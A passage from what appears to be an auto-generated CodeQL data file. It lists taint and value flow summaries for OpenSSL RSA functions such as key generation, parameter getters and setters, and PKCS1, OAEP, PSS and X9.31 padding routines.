*)", "", "Argument[*7]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "RSA_X931_derive_ex", "(RSA *,BIGNUM *,BIGNUM *,BIGNUM *,BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,BN_GENCB *)", "", "Argument[*8]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "RSA_X931_derive_ex", "(RSA *,BIGNUM *,BIGNUM *,BIGNUM *,BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,BN_GENCB *)", "", "Argument[*8]", "Argument[*10]", "taint", "df-generated"] + - ["", "", True, "RSA_X931_derive_ex", "(RSA *,BIGNUM *,BIGNUM *,BIGNUM *,BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,BN_GENCB *)", "", "Argument[*8]", "Argument[*3]", "taint", "df-generated"] + - ["", "", True, "RSA_X931_derive_ex", "(RSA *,BIGNUM *,BIGNUM *,BIGNUM *,BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,BN_GENCB *)", "", "Argument[*8]", "Argument[*4]", "taint", "df-generated"] + - ["", "", True, "RSA_X931_derive_ex", "(RSA *,BIGNUM *,BIGNUM *,BIGNUM *,BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,BN_GENCB *)", "", "Argument[*9]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "RSA_X931_derive_ex", "(RSA *,BIGNUM *,BIGNUM *,BIGNUM *,BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,BN_GENCB *)", "", "Argument[*9]", "Argument[*10]", "taint", "df-generated"] + - ["", "", True, "RSA_X931_derive_ex", "(RSA *,BIGNUM *,BIGNUM *,BIGNUM *,BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,BN_GENCB *)", "", "Argument[*9]", "Argument[*3]", "taint", "df-generated"] + - ["", "", True, "RSA_X931_derive_ex", "(RSA *,BIGNUM *,BIGNUM *,BIGNUM *,BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,BN_GENCB *)", "", "Argument[*9]", "Argument[*4]", "taint", "df-generated"] + - ["", "", True, "RSA_X931_generate_key_ex", "(RSA *,int,const BIGNUM *,BN_GENCB *)", "", "Argument[*0]", "Argument[*2]", "taint", "df-generated"] + - ["", "", True, "RSA_X931_generate_key_ex", "(RSA *,int,const BIGNUM *,BN_GENCB *)", "", "Argument[*2]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "RSA_X931_generate_key_ex", "(RSA *,int,const BIGNUM *,BN_GENCB *)", "", "Argument[1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "RSA_bits", "(const RSA *)", "", "Argument[*0]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "RSA_blinding_on", "(RSA *,BN_CTX *)", "", "Argument[*0]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "RSA_blinding_on", "(RSA *,BN_CTX *)", "", "Argument[*1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "RSA_clear_flags", "(RSA *,int)", "", "Argument[1]", "Argument[*0].Field[*flags]", "taint", "dfc-generated"] + - ["", "", True, "RSA_flags", "(const RSA *)", "", "Argument[*0].Field[**meth].Field[*flags]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "RSA_generate_key", "(int,unsigned long,..(*)(..),void *)", "", "Argument[0]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "RSA_generate_key_ex", "(RSA *,int,BIGNUM *,BN_GENCB *)", "", "Argument[*0]", "Argument[*2]", "taint", "df-generated"] + - ["", "", True, "RSA_generate_key_ex", "(RSA *,int,BIGNUM *,BN_GENCB *)", "", "Argument[*2]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "RSA_generate_key_ex", "(RSA *,int,BIGNUM *,BN_GENCB *)", "", "Argument[1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "RSA_generate_key_ex", "(RSA *,int,BIGNUM *,BN_GENCB *)", "", "Argument[1]", "Argument[*2]", "taint", "df-generated"] + - ["", "", True, "RSA_generate_multi_prime_key", "(RSA *,int,int,BIGNUM *,BN_GENCB *)", "", "Argument[2]", "Argument[*0].Field[**e].Field[*dmax]", "taint", "dfc-generated"] + - ["", "", True, "RSA_generate_multi_prime_key", "(RSA *,int,int,BIGNUM *,BN_GENCB *)", "", "Argument[2]", "Argument[*0].Field[**e].Field[*top]", "taint", "dfc-generated"] + - ["", "", True, "RSA_generate_multi_prime_key", "(RSA *,int,int,BIGNUM *,BN_GENCB *)", "", "Argument[2]", "Argument[*0].Field[**prime_infos].Field[*num_alloc]", "taint", "dfc-generated"] + - ["", "", True, "RSA_get0_crt_params", "(const RSA *,const BIGNUM **,const BIGNUM **,const BIGNUM **)", "", "Argument[*0]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "RSA_get0_crt_params", "(const RSA *,const BIGNUM **,const BIGNUM **,const BIGNUM **)", "", "Argument[*0]", "Argument[**2]", "taint", "df-generated"] + - ["", "", True, "RSA_get0_crt_params", "(const RSA *,const BIGNUM **,const BIGNUM **,const BIGNUM **)", "", "Argument[*0]", "Argument[**3]", "taint", "df-generated"] + - ["", "", True, "RSA_get0_crt_params", "(const RSA *,const BIGNUM **,const BIGNUM **,const BIGNUM **)", "", "Argument[*0]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "RSA_get0_crt_params", "(const RSA *,const BIGNUM **,const BIGNUM **,const BIGNUM **)", "", "Argument[*0]", "Argument[*2]", "taint", "df-generated"] + - ["", "", True, "RSA_get0_crt_params", "(const RSA *,const BIGNUM **,const BIGNUM **,const BIGNUM **)", "", "Argument[*0]", "Argument[*3]", "taint", "df-generated"] + - ["", "", True, "RSA_get0_d", "(const RSA *)", "", "Argument[*0].Field[**d]", "ReturnValue[*]", "value", "dfc-generated"] + - ["", "", True, "RSA_get0_d", "(const RSA *)", "", "Argument[*0].Field[*d]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "RSA_get0_dmp1", "(const RSA *)", "", "Argument[*0].Field[**dmp1]", "ReturnValue[*]", "value", "dfc-generated"] + - ["", "", True, "RSA_get0_dmp1", "(const RSA *)", "", "Argument[*0].Field[*dmp1]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "RSA_get0_dmq1", "(const RSA *)", "", "Argument[*0].Field[**dmq1]", "ReturnValue[*]", "value", "dfc-generated"] + - ["", "", True, "RSA_get0_dmq1", "(const RSA *)", "", "Argument[*0].Field[*dmq1]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "RSA_get0_e", "(const RSA *)", "", "Argument[*0].Field[**e]", "ReturnValue[*]", "value", "dfc-generated"] + - ["", "", True, "RSA_get0_e", "(const RSA *)", "", "Argument[*0].Field[*e]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "RSA_get0_engine", "(const RSA *)", "", "Argument[*0].Field[**engine]", "ReturnValue[*]", "value", "dfc-generated"] + - ["", "", True, "RSA_get0_engine", "(const RSA *)", "", "Argument[*0].Field[*engine]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "RSA_get0_factors", "(const RSA *,const BIGNUM **,const BIGNUM **)", "", "Argument[*0]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "RSA_get0_factors", "(const RSA *,const BIGNUM **,const BIGNUM **)", "", "Argument[*0]", "Argument[**2]", "taint", "df-generated"] + - ["", "", True, "RSA_get0_factors", "(const RSA *,const BIGNUM **,const BIGNUM **)", "", "Argument[*0]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "RSA_get0_factors", "(const RSA *,const BIGNUM **,const BIGNUM **)", "", "Argument[*0]", "Argument[*2]", "taint", "df-generated"] + - ["", "", True, "RSA_get0_iqmp", "(const RSA *)", "", "Argument[*0].Field[**iqmp]", "ReturnValue[*]", "value", "dfc-generated"] + - ["", "", True, "RSA_get0_iqmp", "(const RSA *)", "", "Argument[*0].Field[*iqmp]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "RSA_get0_key", "(const RSA *,const BIGNUM **,const BIGNUM **,const BIGNUM **)", "", "Argument[*0]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "RSA_get0_key", "(const RSA *,const BIGNUM **,const BIGNUM **,const BIGNUM **)", "", "Argument[*0]", "Argument[**2]", "taint", "df-generated"] + - ["", "", True, "RSA_get0_key", "(const RSA *,const BIGNUM **,const BIGNUM **,const BIGNUM **)", "", "Argument[*0]", "Argument[**3]", "taint", "df-generated"] + - ["", "", True, "RSA_get0_key", "(const RSA *,const BIGNUM **,const BIGNUM **,const BIGNUM **)", "", "Argument[*0]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "RSA_get0_key", "(const RSA *,const BIGNUM **,const BIGNUM **,const BIGNUM **)", "", "Argument[*0]", "Argument[*2]", "taint", "df-generated"] + - ["", "", True, "RSA_get0_key", "(const RSA *,const BIGNUM **,const BIGNUM **,const BIGNUM **)", "", "Argument[*0]", "Argument[*3]", "taint", "df-generated"] + - ["", "", True, "RSA_get0_n", "(const RSA *)", "", "Argument[*0].Field[**n]", "ReturnValue[*]", "value", "dfc-generated"] + - ["", "", True, "RSA_get0_n", "(const RSA *)", "", "Argument[*0].Field[*n]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "RSA_get0_p", "(const RSA *)", "", "Argument[*0].Field[**p]", "ReturnValue[*]", "value", "dfc-generated"] + - ["", "", True, "RSA_get0_p", "(const RSA *)", "", "Argument[*0].Field[*p]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "RSA_get0_pss_params", "(const RSA *)", "", "Argument[*0].Field[**pss]", "ReturnValue[*]", "value", "dfc-generated"] + - ["", "", True, "RSA_get0_pss_params", "(const RSA *)", "", "Argument[*0].Field[*pss]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "RSA_get0_q", "(const RSA *)", "", "Argument[*0].Field[**q]", "ReturnValue[*]", "value", "dfc-generated"] + - ["", "", True, "RSA_get0_q", "(const RSA *)", "", "Argument[*0].Field[*q]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "RSA_get_ex_data", "(const RSA *,int)", "", "Argument[1]", "ReturnValue", "taint", "dfc-generated"] + - ["", "", True, "RSA_get_method", "(const RSA *)", "", "Argument[*0].Field[**meth]", "ReturnValue[*]", "value", "dfc-generated"] + - ["", "", True, "RSA_get_method", "(const RSA *)", "", "Argument[*0].Field[*meth]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "RSA_get_multi_prime_extra_count", "(const RSA *)", "", "Argument[*0].Field[**prime_infos].Field[*num]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "RSA_get_version", "(RSA *)", "", "Argument[*0].Field[*version]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "RSA_meth_dup", "(const RSA_METHOD *)", "", "Argument[*0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "RSA_meth_dup", "(const RSA_METHOD *)", "", "Argument[0]", "ReturnValue[*]", "taint", "dfc-generated"] + - ["", "", True, "RSA_meth_get0_app_data", "(const RSA_METHOD *)", "", "Argument[*0].Field[**app_data]", "ReturnValue[*]", "value", "dfc-generated"] + - ["", "", True, "RSA_meth_get0_app_data", "(const RSA_METHOD *)", "", "Argument[*0].Field[*app_data]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "RSA_meth_get0_name", "(const RSA_METHOD *)", "", "Argument[*0].Field[**name]", "ReturnValue[*]", "value", "dfc-generated"] + - ["", "", True, "RSA_meth_get0_name", "(const RSA_METHOD *)", "", "Argument[*0].Field[*name]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "RSA_meth_get_bn_mod_exp", "(const RSA_METHOD *)", "", "Argument[*0].Field[*bn_mod_exp]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "RSA_meth_get_finish", "(const RSA_METHOD *)", "", "Argument[*0].Field[*finish]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "RSA_meth_get_flags", "(const RSA_METHOD *)", "", "Argument[*0].Field[*flags]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "RSA_meth_get_init", "(const RSA_METHOD *)", "", "Argument[*0].Field[*init]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "RSA_meth_get_keygen", "(const RSA_METHOD *)", "", "Argument[*0].Field[*rsa_keygen]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "RSA_meth_get_mod_exp", "(const RSA_METHOD *)", "", "Argument[*0].Field[*rsa_mod_exp]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "RSA_meth_get_multi_prime_keygen", "(const RSA_METHOD *)", "", "Argument[*0].Field[*rsa_multi_prime_keygen]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "RSA_meth_get_priv_dec", "(const RSA_METHOD *)", "", "Argument[*0].Field[*rsa_priv_dec]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "RSA_meth_get_priv_enc", "(const RSA_METHOD *)", "", "Argument[*0].Field[*rsa_priv_enc]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "RSA_meth_get_pub_dec", "(const RSA_METHOD *)", "", "Argument[*0].Field[*rsa_pub_dec]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "RSA_meth_get_pub_enc", "(const RSA_METHOD *)", "", "Argument[*0].Field[*rsa_pub_enc]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "RSA_meth_get_sign", "(const RSA_METHOD *)", "", "Argument[*0].Field[*rsa_sign]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "RSA_meth_get_verify", "(const RSA_METHOD *)", "", "Argument[*0].Field[*rsa_verify]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "RSA_meth_new", "(const char *,int)", "", "Argument[*0]", "ReturnValue[*].Field[**name]", "value", "dfc-generated"] + - ["", "", True, "RSA_meth_new", "(const char *,int)", "", "Argument[0]", "ReturnValue[*].Field[**name]", "taint", "dfc-generated"] + - ["", "", True, "RSA_meth_new", "(const char *,int)", "", "Argument[1]", "ReturnValue[*].Field[*flags]", "value", "dfc-generated"] + - ["", "", True, "RSA_meth_set0_app_data", "(RSA_METHOD *,void *)", "", "Argument[*1]", "Argument[*0].Field[**app_data]", "value", "dfc-generated"] + - ["", "", True, "RSA_meth_set0_app_data", "(RSA_METHOD *,void *)", "", "Argument[1]", "Argument[*0].Field[*app_data]", "value", "dfc-generated"] + - ["", "", True, "RSA_meth_set1_name", "(RSA_METHOD *,const char *)", "", "Argument[*1]", "Argument[*0].Field[**name]", "value", "dfc-generated"] + - ["", "", True, "RSA_meth_set1_name", "(RSA_METHOD *,const char *)", "", "Argument[1]", "Argument[*0].Field[**name]", "taint", "dfc-generated"] + - ["", "", True, "RSA_meth_set_bn_mod_exp", "(RSA_METHOD *,..(*)(..))", "", "Argument[1]", "Argument[*0].Field[*bn_mod_exp]", "value", "dfc-generated"] + - ["", "", True, "RSA_meth_set_finish", "(RSA_METHOD *,..(*)(..))", "", "Argument[1]", "Argument[*0].Field[*finish]", "value", "dfc-generated"] + - ["", "", True, "RSA_meth_set_flags", "(RSA_METHOD *,int)", "", "Argument[1]", "Argument[*0].Field[*flags]", "value", "dfc-generated"] + - ["", "", True, "RSA_meth_set_init", "(RSA_METHOD *,..(*)(..))", "", "Argument[1]", "Argument[*0].Field[*init]", "value", "dfc-generated"] + - ["", "", True, "RSA_meth_set_keygen", "(RSA_METHOD *,..(*)(..))", "", "Argument[1]", "Argument[*0].Field[*rsa_keygen]", "value", "dfc-generated"] + - ["", "", True, "RSA_meth_set_mod_exp", "(RSA_METHOD *,..(*)(..))", "", "Argument[1]", "Argument[*0].Field[*rsa_mod_exp]", "value", "dfc-generated"] + - ["", "", True, "RSA_meth_set_multi_prime_keygen", "(RSA_METHOD *,..(*)(..))", "", "Argument[1]", "Argument[*0].Field[*rsa_multi_prime_keygen]", "value", "dfc-generated"] + - ["", "", True, "RSA_meth_set_priv_dec", "(RSA_METHOD *,..(*)(..))", "", "Argument[1]", "Argument[*0].Field[*rsa_priv_dec]", "value", "dfc-generated"] + - ["", "", True, "RSA_meth_set_priv_enc", "(RSA_METHOD *,..(*)(..))", "", "Argument[1]", "Argument[*0].Field[*rsa_priv_enc]", "value", "dfc-generated"] + - ["", "", True, "RSA_meth_set_pub_dec", "(RSA_METHOD *,..(*)(..))", "", "Argument[1]", "Argument[*0].Field[*rsa_pub_dec]", "value", "dfc-generated"] + - ["", "", True, "RSA_meth_set_pub_enc", "(RSA_METHOD *,..(*)(..))", "", "Argument[1]", "Argument[*0].Field[*rsa_pub_enc]", "value", "dfc-generated"] + - ["", "", True, "RSA_meth_set_sign", "(RSA_METHOD *,..(*)(..))", "", "Argument[1]", "Argument[*0].Field[*rsa_sign]", "value", "dfc-generated"] + - ["", "", True, "RSA_meth_set_verify", "(RSA_METHOD *,..(*)(..))", "", "Argument[1]", "Argument[*0].Field[*rsa_verify]", "value", "dfc-generated"] + - ["", "", True, "RSA_new_method", "(ENGINE *)", "", "Argument[0]", "ReturnValue[*].Field[*engine]", "value", "dfc-generated"] + - ["", "", True, "RSA_padding_add_PKCS1_OAEP", "(unsigned char *,int,const unsigned char *,int,const unsigned char *,int)", "", "Argument[*2]", "Argument[*0]", "value", "dfc-generated"] + - ["", "", True, "RSA_padding_add_PKCS1_OAEP", "(unsigned char *,int,const unsigned char *,int,const unsigned char *,int)", "", "Argument[0]", "Argument[*0]", "taint", "dfc-generated"] + - ["", "", True, "RSA_padding_add_PKCS1_OAEP", "(unsigned char *,int,const unsigned char *,int,const unsigned char *,int)", "", "Argument[2]", "Argument[*0]", "taint", "dfc-generated"] + - ["", "", True, "RSA_padding_add_PKCS1_OAEP_mgf1", "(unsigned char *,int,const unsigned char *,int,const unsigned char *,int,const EVP_MD *,const EVP_MD *)", "", "Argument[*2]", "Argument[*0]", "value", "dfc-generated"] + - ["", "", True, "RSA_padding_add_PKCS1_OAEP_mgf1", "(unsigned char *,int,const unsigned char *,int,const unsigned char *,int,const EVP_MD *,const EVP_MD *)", "", "Argument[*6]", "Argument[*7]", "value", "df-generated"] + - ["", "", True, "RSA_padding_add_PKCS1_OAEP_mgf1", "(unsigned char *,int,const unsigned char *,int,const unsigned char *,int,const EVP_MD *,const EVP_MD *)", "", "Argument[*7]", "Argument[*6]", "value", "df-generated"] + - ["", "", True, "RSA_padding_add_PKCS1_OAEP_mgf1", "(unsigned char *,int,const unsigned char *,int,const unsigned char *,int,const EVP_MD *,const EVP_MD *)", "", "Argument[0]", "Argument[*0]", "taint", "dfc-generated"] + - ["", "", True, "RSA_padding_add_PKCS1_OAEP_mgf1", "(unsigned char *,int,const unsigned char *,int,const unsigned char *,int,const EVP_MD *,const EVP_MD *)", "", "Argument[2]", "Argument[*0]", "taint", "dfc-generated"] + - ["", "", True, "RSA_padding_add_PKCS1_PSS", "(RSA *,unsigned char *,const unsigned char *,const EVP_MD *,int)", "", "Argument[*3].Field[*md_size]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "RSA_padding_add_PKCS1_PSS", "(RSA *,unsigned char *,const unsigned char *,const EVP_MD *,int)", "", "Argument[1]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "RSA_padding_add_PKCS1_PSS_mgf1", "(RSA *,unsigned char *,const unsigned char *,const EVP_MD *,const EVP_MD *,int)", "", "Argument[*3]", "Argument[*4]", "value", "df-generated"] + - ["", "", True, "RSA_padding_add_PKCS1_PSS_mgf1", "(RSA *,unsigned char *,const unsigned char *,const EVP_MD *,const EVP_MD *,int)", "", "Argument[*4]", "Argument[*3]", "value", "df-generated"] + - ["", "", True, "RSA_padding_add_PKCS1_PSS_mgf1", "(RSA *,unsigned char *,const unsigned char *,const EVP_MD *,const EVP_MD *,int)", "", "Argument[1]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "RSA_padding_add_PKCS1_type_1", "(unsigned char *,int,const unsigned char *,int)", "", "Argument[*2]", "Argument[*0]", "value", "dfc-generated"] + - ["", "", True, "RSA_padding_add_PKCS1_type_1", "(unsigned char *,int,const unsigned char *,int)", "", "Argument[0]", "Argument[*0]", "taint", "dfc-generated"] + - ["", "", True, "RSA_padding_add_PKCS1_type_1", "(unsigned char *,int,const unsigned char *,int)", "", "Argument[2]", "Argument[*0]", "taint", "dfc-generated"] + - ["", "", True, "RSA_padding_add_PKCS1_type_2", "(unsigned char *,int,const unsigned char *,int)", "", "Argument[*2]", "Argument[*0]", "value", "dfc-generated"] + - ["", "", True, "RSA_padding_add_PKCS1_type_2", "(unsigned char *,int,const unsigned char *,int)", "", "Argument[0]", "Argument[*0]", "taint", "dfc-generated"] + - ["", "", True, "RSA_padding_add_PKCS1_type_2", "(unsigned char *,int,const unsigned char *,int)", "", "Argument[1]", "Argument[*0]", "taint", "dfc-generated"] + - ["", "", True, "RSA_padding_add_PKCS1_type_2", "(unsigned char *,int,const unsigned char *,int)", "", "Argument[2]", "Argument[*0]", "taint", "dfc-generated"] + - ["", "", True, "RSA_padding_add_PKCS1_type_2", "(unsigned char *,int,const unsigned char *,int)", "", "Argument[3]", "Argument[*0]", "taint", "dfc-generated"] + - ["", "", True, "RSA_padding_add_X931", "(unsigned char *,int,const unsigned char *,int)", "", "Argument[*2]", "Argument[*0]", "value", "dfc-generated"] + - ["", "", True, "RSA_padding_add_X931", "(unsigned char *,int,const unsigned char *,int)", "", "Argument[0]", "Argument[*0]", "taint", "dfc-generated"] + - ["", "", True, "RSA_padding_add_X931", "(unsigned char *,int,const unsigned char *,int)", "", "Argument[2]", "Argument[*0]", "taint", "dfc-generated"] + - ["", "", True, "RSA_padding_add_none", "(unsigned char *,int,const unsigned char *,int)", "", "Argument[*2]", "Argument[*0]", "value", "dfc-generated"] + - ["", "", True, "RSA_padding_add_none", "(unsigned char *,int,const unsigned char *,int)", "", "Argument[2]", "Argument[*0]", "taint", "dfc-generated"] + - ["", "", True, "RSA_padding_check_PKCS1_OAEP", "(unsigned char *,int,const unsigned char *,int,int,const unsigned char *,int)", "", "Argument[*2]", "Argument[*0]", "taint", "dfc-generated"] + - ["", "", True, "RSA_padding_check_PKCS1_OAEP", "(unsigned char *,int,const unsigned char *,int,int,const unsigned char *,int)", "", "Argument[0]", "Argument[*0]", "taint", "dfc-generated"] + - ["", "", True, "RSA_padding_check_PKCS1_OAEP", "(unsigned char *,int,const unsigned char *,int,int,const unsigned char *,int)", "", "Argument[2]", "Argument[*0]", "taint", "dfc-generated"] + - ["", "", True, "RSA_padding_check_PKCS1_OAEP", "(unsigned char *,int,const unsigned char *,int,int,const unsigned char *,int)", "", "Argument[3]", "Argument[*0]", "taint", "dfc-generated"] + - ["", "", True, "RSA_padding_check_PKCS1_OAEP", "(unsigned char *,int,const unsigned char *,int,int,const unsigned char *,int)", "", "Argument[4]", "Argument[*0]", "taint", "dfc-generated"] + - ["", "", True, "RSA_padding_check_PKCS1_OAEP", "(unsigned char *,int,const unsigned char *,int,int,const unsigned char *,int)", "", "Argument[4]", "ReturnValue", "taint", "dfc-generated"] + - ["", "", True, "RSA_padding_check_PKCS1_OAEP_mgf1", "(unsigned char *,int,const unsigned char *,int,int,const unsigned char *,int,const EVP_MD *,const EVP_MD *)", "", "Argument[*2]", "Argument[*0]", "taint", "dfc-generated"] + - ["", "", True, "RSA_padding_check_PKCS1_OAEP_mgf1", "(unsigned char *,int,const unsigned char *,int,int,const unsigned char *,int,const EVP_MD *,const EVP_MD *)", "", "Argument[*7]", "Argument[*8]", "value", "df-generated"] + - ["", "", True, "RSA_padding_check_PKCS1_OAEP_mgf1", "(unsigned char *,int,const unsigned char *,int,int,const unsigned char *,int,const EVP_MD *,const EVP_MD *)", "", "Argument[*8]", "Argument[*7]", "value", "df-generated"] + - ["", "", True, "RSA_padding_check_PKCS1_OAEP_mgf1", "(unsigned char *,int,const unsigned char *,int,int,const unsigned char *,int,const EVP_MD *,const EVP_MD *)", "", "Argument[0]", "Argument[*0]", "taint", "dfc-generated"] + - ["", "", True, "RSA_padding_check_PKCS1_OAEP_mgf1", "(unsigned char *,int,const unsigned char *,int,int,const unsigned char *,int,const EVP_MD *,const EVP_MD *)", "", "Argument[2]", "Argument[*0]", "taint", "dfc-generated"] + - ["", "", True, "RSA_padding_check_PKCS1_OAEP_mgf1", "(unsigned char *,int,const unsigned char *,int,int,const unsigned char *,int,const EVP_MD *,const EVP_MD *)", "", "Argument[3]", "Argument[*0]", "taint", "dfc-generated"] + - ["", "", True, "RSA_padding_check_PKCS1_OAEP_mgf1", "(unsigned char *,int,const unsigned char *,int,int,const unsigned char *,int,const EVP_MD *,const EVP_MD *)", "", "Argument[4]", "Argument[*0]", "taint", "dfc-generated"] + - ["", "", True, "RSA_padding_check_PKCS1_OAEP_mgf1", "(unsigned char *,int,const unsigned char *,int,int,const unsigned char *,int,const EVP_MD *,const EVP_MD *)", "", "Argument[4]", "ReturnValue", "taint", "dfc-generated"] + - ["", "", True, "RSA_padding_check_PKCS1_type_1", "(unsigned char *,int,const unsigned char *,int,int)", "", "Argument[*2]", "Argument[*0]", "value", "dfc-generated"] + - ["", "", True, "RSA_padding_check_PKCS1_type_1", "(unsigned char *,int,const unsigned char *,int,int)", "", "Argument[2]", "Argument[*0]", "taint", "dfc-generated"] + - ["", "", True, "RSA_padding_check_PKCS1_type_1", "(unsigned char *,int,const unsigned char *,int,int)", "", "Argument[3]", "ReturnValue", "taint", "dfc-generated"] + - ["", "", True, "RSA_padding_check_PKCS1_type_2", "(unsigned char *,int,const unsigned char *,int,int)", "", "Argument[*2]", "Argument[*0]", "taint", "dfc-generated"] + - ["", "", True, "RSA_padding_check_PKCS1_type_2", "(unsigned char *,int,const unsigned char *,int,int)", "", "Argument[0]", "Argument[*0]", "taint", "dfc-generated"] + - ["", "", True, "RSA_padding_check_PKCS1_type_2", "(unsigned char *,int,const unsigned char *,int,int)", "", "Argument[2]", "Argument[*0]", "taint", "dfc-generated"] + - ["", "", True, "RSA_padding_check_PKCS1_type_2", "(unsigned char *,int,const unsigned char *,int,int)", "", "Argument[3]", "Argument[*0]", "taint", "dfc-generated"] + - ["", "", True, "RSA_padding_check_PKCS1_type_2", "(unsigned char *,int,const unsigned char *,int,int)", "", "Argument[4]", "Argument[*0]", "taint", "dfc-generated"] + - ["", "", True, "RSA_padding_check_PKCS1_type_2", "(unsigned char *,int,const unsigned char *,int,int)", "", "Argument[4]", "ReturnValue", "taint", "dfc-generated"] + - ["", "", True, "RSA_padding_check_X931", "(unsigned char *,int,const unsigned char *,int,int)", "", "Argument[*2]", "Argument[*0]", "value", "dfc-generated"] + - ["", "", True, "RSA_padding_check_X931", "(unsigned char *,int,const unsigned char *,int,int)", "", "Argument[2]", "Argument[*0]", "taint", "dfc-generated"] + - ["", "", True, "RSA_padding_check_X931", "(unsigned char *,int,const unsigned char *,int,int)", "", "Argument[3]", "ReturnValue", "taint", "dfc-generated"] + - ["", "", True, "RSA_padding_check_none", "(unsigned char *,int,const unsigned char *,int,int)", "", "Argument[*2]", "Argument[*0]", "value", "dfc-generated"] + - ["", "", True, "RSA_padding_check_none", "(unsigned char *,int,const unsigned char *,int,int)", "", "Argument[1]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "RSA_padding_check_none", "(unsigned char *,int,const unsigned char *,int,int)", "", "Argument[2]", "Argument[*0]", "taint", "dfc-generated"] + - ["", "", True, "RSA_pkey_ctx_ctrl", "(EVP_PKEY_CTX *,int,int,int,void *)", "", "Argument[**4]", "Argument[*0].Field[*cached_parameters].Field[***dist_id]", "value", "dfc-generated"] + - ["", "", True, "RSA_pkey_ctx_ctrl", "(EVP_PKEY_CTX *,int,int,int,void *)", "", "Argument[*4]", "Argument[**4]", "value", "df-generated"] + - ["", "", True, "RSA_pkey_ctx_ctrl", "(EVP_PKEY_CTX *,int,int,int,void *)", "", "Argument[3]", "Argument[*0].Field[*cached_parameters].Field[*dist_id_len]", "value", "dfc-generated"] + - ["", "", True, "RSA_pkey_ctx_ctrl", "(EVP_PKEY_CTX *,int,int,int,void *)", "", "Argument[4]", "Argument[**4]", "taint", "dfc-generated"] + - ["", "", True, "RSA_pkey_ctx_ctrl", "(EVP_PKEY_CTX *,int,int,int,void *)", "", "Argument[4]", "Argument[*0].Field[*cached_parameters].Field[***dist_id]", "taint", "dfc-generated"] + - ["", "", True, "RSA_pkey_ctx_ctrl", "(EVP_PKEY_CTX *,int,int,int,void *)", "", "Argument[4]", "Argument[*0].Field[*cached_parameters].Field[**dist_id]", "taint", "dfc-generated"] + - ["", "", True, "RSA_print", "(BIO *,const RSA *,int)", "", "Argument[0]", "Argument[*0].Field[**prev_bio].Field[*next_bio]", "value", "dfc-generated"] + - ["", "", True, "RSA_print", "(BIO *,const RSA *,int)", "", "Argument[1]", "ReturnValue", "taint", "dfc-generated"] + - ["", "", True, "RSA_print_fp", "(FILE *,const RSA *,int)", "", "Argument[1]", "ReturnValue", "taint", "dfc-generated"] + - ["", "", True, "RSA_set0_crt_params", "(RSA *,BIGNUM *,BIGNUM *,BIGNUM *)", "", "Argument[*1].Field[*flags]", "Argument[*0].Field[**dmp1].Field[*flags]", 